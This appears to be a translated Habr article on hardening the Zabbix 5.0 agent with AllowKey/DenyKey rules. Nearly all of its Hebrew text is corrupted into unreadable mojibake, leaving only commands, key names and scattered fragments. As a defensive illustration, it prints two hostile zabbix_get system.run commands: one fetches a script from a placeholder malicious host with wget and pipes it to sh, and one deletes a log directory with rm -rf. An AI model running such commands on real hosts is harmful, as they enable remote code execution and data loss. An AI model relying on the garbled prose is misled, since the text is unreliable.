ืชืืืื ืืจืฉืืื ืืฉืืืจื ืืืจืฉืืื ืืืื ื ืขืืืจ ืืืืื ืืฆื ืืกืืื
ืืืืื ืืืกืงืื, ืืื ืืก ืืื ืืืจืฆืื, Zabbix
ืืขืืืช ืืืืืช ืืืืข
ื-Zabbix 5.0 ืชืืื ื ืืืฉื ืืืืคืฉืจืช ืืฉืคืจ ืืช ืืืืืื ืืืขืจืืืช ืืืืฆืขืืช Zabbix Agent ืืืืืืคื ืืช ืืคืจืืืจ ืืืฉื EnableRemoteCommands.
ืฉืืคืืจืื ืืืืืืช ืืขืจืืืช ืืืืกืกืืช ืกืืื ืื ื ืืืขืื ืืืขืืืื ืฉืกืืื ืืืื ืืืฆืข ืืกืคืจ ืจื ืฉื ืคืขืืืืช ืฉืขืืืืืช ืืืืืช ืืกืืื ืืช.
- ืืกืืื ืืืื ืืืกืืฃ ืืืขื ืื ืืืืข, ืืืื ืืืืข ืกืืื ืื ืคืืื ืฆืืืื ืืกืืื, ืืงืืืฆื ืชืฆืืจื, ืงืืืฆื ืืืื, ืงืืืฆื ืกืืกืืืืช ืื ืื ืงืืืฅ ืืืจ.
ืืืืืื, ืืืืฆืขืืช ืืื ืืฉืืจืืช zabbix_get ืืชื ืืืื ืืืฉืช ืืจืฉืืืช ืืฉืชืืฉืื, ืกืคืจืืืช ืืืืชืืืช ืฉืืื, ืงืืฆื ืกืืกืืืืช ืืื'.
ืืืฉื ืื ืชืื ืื ืืืืฆืขืืช ืืื ืืฉืืจืืช zabbix_get
ืืขืจื. ื ืืชื ืืืืืจ ื ืชืื ืื ืจืง ืื ืืกืืื ืืฉ ืืจืฉืืืช ืงืจืืื ืืงืืืฅ ืืืชืืื. ืืื, ืืืฉื, ืืงืืืฅ /etc/passwd/ ืงืจืื ืืื ืืืฉืชืืฉืื.
- ืืกืืื ืืืื ืื ืืืฆืข ืคืงืืืืช ืฉืขืืืืืช ืืืืืช ืืกืืื ืืช. ืืืืืื, ืืงืฉ *system.run[]** ืืืคืฉืจ ืื ืืืฆืข ืื ืคืงืืื ืืจืืืง ืืฆืืชื ืจืฉืช, ืืืื ืืคืขืืช ืกืงืจืืคืืื ืืืืฉืง ืืืื ืืจื ื ืฉื Zabbix ืฉืืืฆืขืื ืื ืคืงืืืืช ืืฆื ืืกืืื.
# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]
# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]
- ื-Linux, ืืกืืื ืคืืขื ืืืจืืจืช ืืืื ืืื ืืจืฉืืืช ืฉืืจืฉ, ืืขืื ื-Windows ืืื ืคืืขื ืืฉืืจืืช ืืืขืจืืช ืืืฉ ืื ืืืฉื ืืืชื ืืืืืืช ืืืขืจืืช ืืงืืฆืื. ืืืชืื ืืื, ืื ืื ืืืืฆืขื ืฉืื ืืืื ืืคืจืืืจืื ืฉื Zabbix Agent ืืืืจ ืืืชืงื ื, ืืกืืื ืืฉ ืืืฉื ืืจืืฉืื, ืืืขืจืืช ืืงืืฆืื ืืืื ืืืื ืืืฆืข ืฉืืืืชืืช WMI.
ืืืจืกืืืช ืงืืืืืช ืืคืจืืืจ EnableRemoteCommands=0 ืืืชืจ ืจืง ืืืฉืืืช ืืืืื ืขื ืืืคืชื *system.run[]** ืืืคืขืืช ืกืงืจืืคืืื ืืืืฉืง ืืืื ืืจื ื, ืื ืื ืืืืชื ืืจื ืืืืืื ืืืฉื ืืงืืฆืื ืืืืืื, ืืืคืฉืจ ืื ืืืฉืืืช ืืคืชืืืช ืืืืืื ืฉืืืชืงื ื ืขื ืืกืืื, ืื ืืืืืื ืืช ืืฉืืืืฉ ืืคืจืืืจืื ืืืืืื.
ืฉืืืืฉ ืืคืจืืืจ EnableRemoteCommand ืืืจืกืืืช ืงืืืืืช ืฉื Zabbix
AllowKey/DenyKey
Zabbix 5.0 ืขืืืจ ืืืื ืืคื ื ืืืฉื ืืืชื ืืืจืฉืืช ืืื ืขื ืืื ืืกืคืงืช ืจืฉืืืืช ืืืื ืืช ืืจืฉืืืืช ืฉืืืจืืช ืืืคืฉืจ ืืืฉืืื ืืืืื ืืฆื ืืกืืื.
ื-Zabix 5.0 ืื ืืืคืชืืืช, ืืืื *system.run[]** ืืืคืขืืื, ืื ืืกืคื ืฉืชื ืืคืฉืจืืืืช ืชืฆืืจืช ืกืืื ืืืฉืืช:
AllowKey= - ืืืืืืช ืืืชืจืืช;
DenyKey= - ืฆ'ืงืื ืืกืืจืื;
ืืืคื ืืื ืืคืืก ืฉื ืืคืชื ืขื ืคืจืืืจืื ืฉืืฉืชืืฉ ืืชืืืื ืืื (*).
ืืืงืฉืื AllowKey ื-DenyKey ืืืคืฉืจืื ืื ืืืคืฉืจ ืื ืืืืืช ืืืืื ืืืืืื ืขื ืกืื ืืคืืก ืืกืืื. ืื ืืืื ืืคืจืืืจืื ืืืจืื ืฉื ืชืฆืืจื, ืืกืคืจ ืืคืจืืืจืื ืฉื AllowKey/DenyKey ืืื ื ืืืืื. ืื ืืืคืฉืจ ืืืืืืจ ืืืืจืืจ ืื ืืืืืง ืืกืืื ืืืื ืืขืฉืืช ืืืขืจืืช ืขื ืืื ืืฆืืจืช ืขืฅ ืฆ'ืงืื - ืืคืชืืืช ืืคืขืื, ืืืฉืจ ืกืืจ ืืชืืืชื ืืฉืืง ืชืคืงืื ืืฉืื ืืืืชืจ.
ืจืฆืฃ ืฉื ืืืืื
ืืืืืื ื ืืืงืื ืืคื ืกืืจ ืืื ืชื ืืงืืืฅ ืืชืฆืืจื. ืืืคืชื ื ืืืง ืืคื ืืืืืื ืืคื ื ืืืชืืื ืืจืืฉืื ื, ืืืจืืข ืฉืืืคืชื ืฉื ืืืื ื ืื ืชืื ืื ืชืืื ืืชืื ืืช, ืืื ืืืชืจ ืื ื ืืื. ืืืืจ ืืื, ืืืืงืช ืืืืืื ื ืขืฆืจืช ืืืชืขืืืื ืืืืคืชืืืช ืื ืืชืจืื.
ืืื, ืื ืจืืื ืชืืื ืื ืืืื ืืืฉืืจ ืืื ืืืื ืืืืื, ืืชืืฆืื ืชืืื ืชืืืื ืืืืื ืืื ื ืืฆื ืจืืฉืื ืืงืืืฅ ืืชืฆืืจื.
2 ืืืงืื ืฉืื ืื ืขื ืืืชื ืืคืืก ืืืคืชื vfs.file.size[/tmp/file]
ืกืืจ ืืฉืืืืฉ ืืืคืชืืืช AllowKey/DenyKey:
- ืืืงืื ืืืืืงืื,
- ืืืงืื ืืืืืื,
- ืืื ืืืกืืจ.
ืืืืืื, ืื ืืชื ืฆืจืื ืืืฉื ืืงืืฆืื ืืชืืงืืื ืืกืืืืช, ืขืืื ืืืคืฉืจ ืชืืืื ืืืฉื ืืืืื, ืืืืืจ ืืื ืืืืืช ืืช ืื ืืฉืืจ ืฉืืื ื ื ืืคื ืืืกืืจืช ืืืจืฉืืืช ืฉื ืงืืขื. ืื ืชืืืื ื ืขืฉื ืฉืืืืฉ ืืืื ืืืืืื, ืืืืฉื ืืชืืงืื ืชืืฉืื.
ืจืฆืฃ ื ืืื
ืื ืืชื ืฆืจืื ืืืคืฉืจ ื-2 ืืื ืฉืืจืืช ืืคืขืื ืืืืฆืขืืช *system.run[]**, ืืืืื ืืืืืืฉ ืืฆืืื ืชืืืื, ืืื ืืฉืืจืืช ืื ืืืคืขืื, ืืืืืื ืฉืืชืื ืืช ืืจืืฉืื ื ืชืืื ืชืชืืื ืืื ืืคืชื, ืืืืืืื ืืืืื ืืชืขืืื.
ืจืฆืฃ ืื ื ืืื
ืืคืืกืื
ืืืื ืืกืื
ืืคืืก ืืื ืืืืื ืขื ืชืืืื ืืืืืื. ืืชื ืืืื (*) ืืชืืื ืืื ืืกืคืจ ืฉื ืชืืืื ืืืฉืื ืืืืงืื ืกืคืฆืืคื. ื ืืชื ืืืฉืชืืฉ ืืชืืืื ืืื ืื ืืฉื ืืืคืชื ืืื ืืคืจืืืจืื. ืืืืืื, ืืชื ืืืื ืืืืืืจ ืืงืคืื ืืช ืืช ืืคืจืืืจ ืืจืืฉืื ืขื ืืงืกื, ืืฆืืื ืืช ืืื ืืชื ืืืื.
ืคืจืืืจืื ืืืืืื ืืืืืช ืืืงืคืื ืืกืืืจืืื ืืจืืืขืื [].
system.run[*
- ืฉืืืvfs.file*.txt]
- ืฉืืืvfs.file.*[*]
- ืืืื
ืืืืืืืช ืืฉืืืืฉ ืืชื ืืืื.
- ืืฉื ืืืคืชื ืืืคืจืืืจ. ืืืงืจื ืื, ืืืคืชื ืืื ื ืืชืืื ืืืคืชื ืืืื ืฉืืื ื ืืืื ืคืจืืืจ, ืฉืื ืืชืื ืืช ืฆืืื ื ืฉืื ื ืจืืฆืื ืืงืื ืกืืื ืืกืืื ืฉื ืฉื ืืืคืชื ืืืขืจืืช ืืกืืืืช ืฉื ืคืจืืืจืื.
- ืื ืืชืื ืืช ืืื ื ืืฉืชืืฉืช ืืกืืืจืืื ืืจืืืขืื, ืืชืื ืืช ืืืคืฉืจืช ืืช ืื ืืืคืชืืืช ืฉืืื ื ืืืืืื ืคืจืืืจืื ืืฉืืืืช ืืช ืื ืืืคืชืืืช ืืืืืืื ืืช ืืคืจืืืจ ืฉืฆืืื.
- ืื ืืืคืชื ื ืืชื ืืืืืื ืืืคืจืืืจืื ืืฆืืื ืื ืืชืืืื ืืืืืื, ืืื ืืชืืื ืืื ืืคืชื ืืืื ืขื ืคืจืืืจืื ืืืฉืื ืืื ืืชืืื ืืืคืชื ืืื ืกืืืจืืื ืืจืืืขืื, ืืืืืจ ืืืชืจ ืื ืืืืื.
ืืืืื ืืืืืื ืคืจืืืจืื.
- ืื ืืืืขื ืืฉืืืืฉ ืืืคืชื ืขื ืคืจืืืจืื, ืืฉ ืืฆืืื ืืช ืืคืจืืืจืื ืืงืืืฅ ืืชืฆืืจื. ืืฉ ืืฆืืื ืคืจืืืจืื ืืืื-ืชื. ืืฉ ืฆืืจื ืืฉืืื ืืืืืจืืช ืืืฉื ืืื ืงืืืฅ ืืืงืืช ืืืฉืืื ืืืื ืืืืข ืืืื ืืืื ืืกืคืง ืืืืืชืื ืฉืื ืื - ืขื ืืืื ืคืจืืืจืื.
ืชืืื ืืช ืฉื ืืชืืืช ืืคืชืืืช ืขื ืคืจืืืจืื
- ืื ืฆืืื ืืคืชื ืขื ืคืจืืืจืื, ืื ืืคืจืืืจืื ืื ืืืคืฆืืื ืืืื ืืืฆืืื ืื ืืืื-ืชื, ืืคืชื ืืื ืคืจืืืจืื ืืืคืชืจ. ืืืืืื, ืื ืืจืฆืื ื ืืืฉืืืช ืืช ืงืืืช ืืืืืข ืขื ืืขืืืก ืขื ืืืขืื ืืืฆืืื ืฉืืฉ ืืืื ืืช ืืคืชื system.cpu.load[*], ืื ืชืฉืื ืฉืืืคืชื ืืื ืคืจืืืจืื ืืืืืจ ืืช ืขืจื ืืขืืืก ืืืืืฆืข.
ืืืืื ืืืืืื ืคืจืืืจืื
ืืขืจืืช
ืืชืืื
- ืืืืื ืืกืืืืื ืืื ื ื ืืชื ืื ืืฉืื ืื ืขื ืืื ืืืฉืชืืฉ, ืืืืืื, ืืืื ืืืืื ืื ืืืื ืจืืฉืื ืืืืืืื ืฉื ืกืืื. ืืืื AllowKey/DenyKey ืืื ื ืืฉืคืืขืื ืขื ืืคืจืืืจืื ืืืืื:
- HostnameItem
- HostMetadataItem
- HostInterfaceItem
ืืขืจื. ืื ืื ืื ืืขืจืืช ืืฉืืืช ืืคืชื, ืืืฉืจ ื ืฉืื, Zabbix ืืื ื ืืกืคืง ืืืืข ืขื ืืกืืื ืฉืืืื ืื ืืืคืชื ื ืื ืกืื ืืงืืืืจืื 'ืืื ื ื ืชืื'. ืืืืข ืขื ืืืกืืจืื ืขื ืืืฆืืข ืคืงืืืืช ืืจืืืง ืื ืืื ื ืืืฆื ืืงืืืฆื ืืืืื ืฉื ืืกืืื. ืื ืืืขืื ืืืืื, ืืื ืขืืื ืืืงืฉืืช ืขื ืืืชืืจ ืืืืื ืื ืืืืื ื ืื ืกืื ืืงืืืืจืื ืื ื ืชืืืช ืืกืืื ืืืฉืื.
- ืืื ืืืกืชืื ืขื ืฉืื ืกืืจ ืกืคืฆืืคื ืืืืืืจ ืงืืฆื ืชืฆืืจื ืืืฆืื ืืื (ืืืืืื, ืืคื ืกืืจ ืืืคืืืชื).
ืืื ืขืืจ ืฉื ืฉืืจืช ืืคืงืืื
ืืืืจ ืืืืจืช ืืืืืื, ืขืืื ืืืืื ืฉืืื ืืืืืจ ืืืืื.
ืืชื ืืืื ืืืฉืชืืฉ ืืืืช ืืฉืืืฉ ืืคืฉืจืืืืช:
- ืืืกืฃ ืืื ื-Zabix.
- ืืืืง ืขื zabbix_agentd. ืกืืื Zabbix ืขื ืืืคืฆืื -ืืืคืก (-p) ืืฆืื ืืช ืื ืืืคืชืืืช (ืฉืืืชืจืื ืืืจืืจืช ืืืื) ืืืขื ืืื ืฉืืื ื ืืืชืจืื ืขื ืืื ืืชืฆืืจื. ืืขื ืืืืคืฆืื -ืืืื (-t) ืื ืืคืชื ืืกืืจ ืืืืืจ 'ืืคืชื ืคืจืื ืื ื ืชืื'.
- ืืืืง ืขื zabbix_get. ืชืึนืขึถืึถืช zabbix_get ืขื ืืคืฉืจืืช -k ืืืืืจ 'ZBX_NOTSUPPORTED: ืืื ืื ืืืืข'.
ืืคืฉืจ ืื ืืื
ืืชื ืืืื ืืื ืืข ืืืฉื ืืงืืืฅ ืืืืืช, ืืืฉื, ืืืืฆืขืืช ืืื ืืฉืืจืืช zabbix_getืฉืืืืฉื ืืงืืืฅ ื ืืืืช.
**
ืืขืจื. ืืชืขืืืื ืืืจืืืืช ืืคืจืืืจ.
ืืืงืจื ืื, ืืืชืื ืฉืชืชืืคืฉืจ ืืืฉื ืืงืืืฅ ืืื ืืจื ื ืชืื ืืืจ. ืืืืืื, ืื ืงืืฉืืจ ืกืืืื ืืืืื ืืืื.
ืืืืืฅ ืืืืืง ืืคืฉืจืืืืช ืฉืื ืืช ืืืืฉืื ืืืืืื ืื ืงืืืื, ืืื ืืงืืช ืืืฉืืื ืืช ืืคืฉืจืืืืช ืขืงืืคืช ืืืืกืืจืื.
ืฉืืืืช ืืชืฉืืืืช
ืฉืืื. ืืืืข ื ืืืจ ืืคืืก ืื ืืืจืื ืขื ืฉืคื ืืฉืื ืืชืืืืจ ืืืงืื, ืืจืฉืืืช ืืืืกืืจืื? ืืืืข ืื ื ืืชื ืืื ืืืฉืชืืฉ, ืืืฉื, ืืืืืืืื ืืจืืืืจืืื ืฉืืื ืืฉืชืืฉ Zabbix?
ืชืฉืืื. ืืืื ืืขืืืช ืืืฆืืขืื ืจืืงืก ืืืืืื ืฉืืืจื ืืื ืืฉ ืจืง ืกืืื ืืื ืืืื ืืืืง ืืกืคืจ ืขืฆืื ืฉื ืืืืื. Regex ืืื ืคืขืืื ืื ืืืื ืืื ืื ื ืื ืืืืืื ืืืืืง ืืืคื ืืืืื ืืืจื ืื. ืชืืืื ืืืืืื - ืคืชืจืื ืืื ืืืจืกืื, ืืฉืืืืฉ ื ืจืื ืืคืฉืื.
ืฉืืื. ืืื ืืงืืฆืื 'ืืืื' ืืื ื ืืืืืื ืืกืืจ ืืืคืืืชื?
ืชืฉืืื. ืขื ืืื ืฉืืืืข ืื, ืื ืืืขื ืืืชื ืืคืฉืจื ืืืืืช ืืช ืืกืืจ ืฉืื ืืืืื ืืืืื ืื ืชืคืืจ ืืช ืืืืืื ืขื ืคื ื ืงืืฆืื ืฉืื ืื. ืื ื ืืืืืฅ ืืืกืืฃ ืืช ืื ืืืื AllowKey/DenyKey ืืงืืืฅ Include ืืื, ืืืืืื ืฉืื ืืงืืืืื ืืื ืืจืืงืฆืื ืื ืขื ืื, ืืืืืื ืืช ืืงืืืฅ ืืื.
ืฉืืื. ื- Zabbix 5.0 ืืืคืฉืจืืช 'EnableRemoteCommands=' ืืกืจ ืืงืืืฅ ืืชืฆืืจื, ืืจืง AllowKey/DenyKey ืืืื ืื?
ืชืฉืืื. ืื ืื ื ืืื.
ืชืืื ืื!
ืืงืืจ: www.habr.com